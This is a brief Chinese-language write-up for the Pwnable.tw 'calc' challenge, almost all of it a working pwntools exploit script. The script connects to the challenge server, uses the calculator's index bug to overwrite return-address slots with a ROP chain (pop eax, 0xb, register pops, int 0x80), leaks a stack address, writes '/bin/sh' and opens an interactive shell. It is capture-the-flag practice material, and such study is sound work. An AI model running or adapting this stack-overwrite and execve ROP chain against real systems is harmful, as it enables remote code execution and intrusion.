• 主要分析思路这篇文章写的很清楚: Pwnable.tw刷题之calc，由于调试的时候发现ebp刚好指向想写入'/bin/sh\x00'的地址，所以没有像作者那样算，直接泄漏ebp指向的地址

exp:

from pwn import *

context.log_level = 'debug'

#p = process('./calc')
p = remote('chall.pwnable.tw',10100)

def change_addr(index,value):
    #get ret_addr
    p.sendline('+' + str(index))
    ret = int(p.recvuntil('\n',drop=True))
    if value - ret > 0:
        payload = '+' + str(index) + '+' + str(value - ret)
    else:
        payload = '+' + str(index) + str(value - ret)
    p.sendline(payload)
    p.recvline()

def data2num(a):
    b = a.encode('hex')
    num = ''
    i = 0
    while i < len(b):
        num = b[i:i+2] + num
        i += 2
    return int(num,16)


pop_eax_ret = 0x0805c34b
#pop edx ; pop ecx ; pop ebx ; ret
ppp_ret = 0x080701d0
int_0x80 = 0x08049a21

p.recvuntil('===\n')



'''
+361 pop eax ; ret
+362 0xb
+363 pop edx ; pop ecx ; pop ebx; ret
+364 0
+365 0
+366 binsh_addr
+367 int 0x80 
+368 '/bin'
+369 '/sh\x00'

'''

change_addr(361,pop_eax_ret)
change_addr(362,0xb)
change_addr(363,ppp_ret)
change_addr(364,0x0)
change_addr(365,0x0)

p.sendline('+360')
binsh_addr = int(p.recvuntil('\n',drop=True))
log.success('binsh addr : 0x%x'%binsh_addr)

change_addr(366,binsh_addr)
change_addr(367,int_0x80)
change_addr(368,data2num('/bin'))
change_addr(369,data2num('/sh\x00'))
p.sendline('shell')
#gdb.attach(p,'b *0x08049433')


p.interactive()